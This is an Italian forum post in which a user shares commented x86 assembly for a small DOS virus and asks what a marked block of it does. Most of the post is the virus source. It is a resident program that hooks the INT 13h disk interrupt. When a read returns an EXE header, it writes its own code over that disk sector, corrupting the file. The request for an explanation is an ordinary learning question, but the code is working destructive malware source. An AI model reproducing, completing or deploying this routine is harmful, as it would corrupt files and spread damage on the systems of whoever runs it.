Ciao ragazzi, ho trovato il codice di un piccolo virus che va a cambiare la IVT per andare a modificare l'indirizzo del INT13 per l'accesso ai dishi.
OK, la parte del codice in INITIAL mi e' chiara, ma purtropo non riesco a comprendere la parete inserita tra le due righe di asterischi.
codice:ASSUME CS: CodeSegment CodeSegment SEGMENT PARA ORG 100H START: MAIN PROC NEAR HEAD: JMP INITIAL SAVE_INT13: DD 0 ;inizializzazioni di saved_int13 INT13_SOST: ;INT13H INTERRUPT DI LETTURA E SCRITTURA SU HD PUSH AX ;AX:OPERAZIONE DA FARE E NUMERO DI SETTORI COINVOLTI PUSH BX ;BX:OFFSET BUFFER DEL PROGRAMMA PUSH ES ;ES:SEGMENT DEL BUFFER CMP AH,02 ;CONTROLLA SE HE LETTURA 02 LETTURA 03 SCRITTURA JNE no_read ;********************************************************************************************************************* PUSHF ; salva il registro di FLAG CALL dword ptr CS:[save_int13] ;chiama il programma vero puntato da CS ;chiama una DW ;in ES viene salvato il segmento del buffer ;in BX l'offset del buffer CMP word ptr ES:[BX],5A4DH ;controlla che nel valore del buffer ES puntato all offset BX JNE no_EXE_file ;controlla che i primi 2 byte ZM = 5a4dH MOV AX, 0301H ;in AH mette 03=scrittura e in AL mette 01=numero settori da ;scrivere (o leggere) MOV BX, OFFSET HEAD ; PUSH CS ;in ES mette il valore del nostro segmento CS POP ES ;********************************************************************************************************************* NO_READ: PUSHF ;SALVA IL REGISTRO DI FLAG CALL dword ptr CS: [save_int13] ;PASSA ALL'EFFETTIVO INDIRIZZO DELL INT13 no_exe_file: ;non effettua alcuna operazione POP ES POP BX POP AX IRET INITIAL: XOR DX, DX ;AZZERA DX pongo praticamente il valore a 0 MOV DS,DX ;l'assegnazione non puo' essere diretta MOV AX,DS:[13H*4] ;salva in ax l'indirizzo VERO di INT13H MOV word ptr CS:[save_int13],AX ; MOV AX, DS:[13H*4+2] ; MOV word ptr CS:[save_int13+2],AX ;salvo in CS il segment dell'INT13h CLI ;tra CLI e STI non possono essere chimati altri INTERRUPT MOV AX,OFFSET INT13_SOST ;in AX salvo l'offset che ha il label int13_sost MOV word ptr DS:[13H*4],AX ;salvo l'offest in DS che e' riamsto a 0000H PUSH CS ;metto in AX il valore di CS POP AX MOV word ptr DS:[13H*4+2],AX ;copia il valore del segment del mio CS STI MOV DX, OFFSET salto_END+1 ;VIENE PASSATA LA FINE DEL PROGRAMMA CHE DEVE RESTARE IN ROM INT 27H ;SALVARE LE MORIFICHE IN RAM salto_END: MAIN ENDP CodeSegment ENDS END START
sapreste cortesemente aiutarmi e indicarmi cosa questo programmino facci ain quelle 10 righe? In particola re nelle ultime 3....
vi ringrazio per l'interessamento e l'aiuto

Rispondi quotando

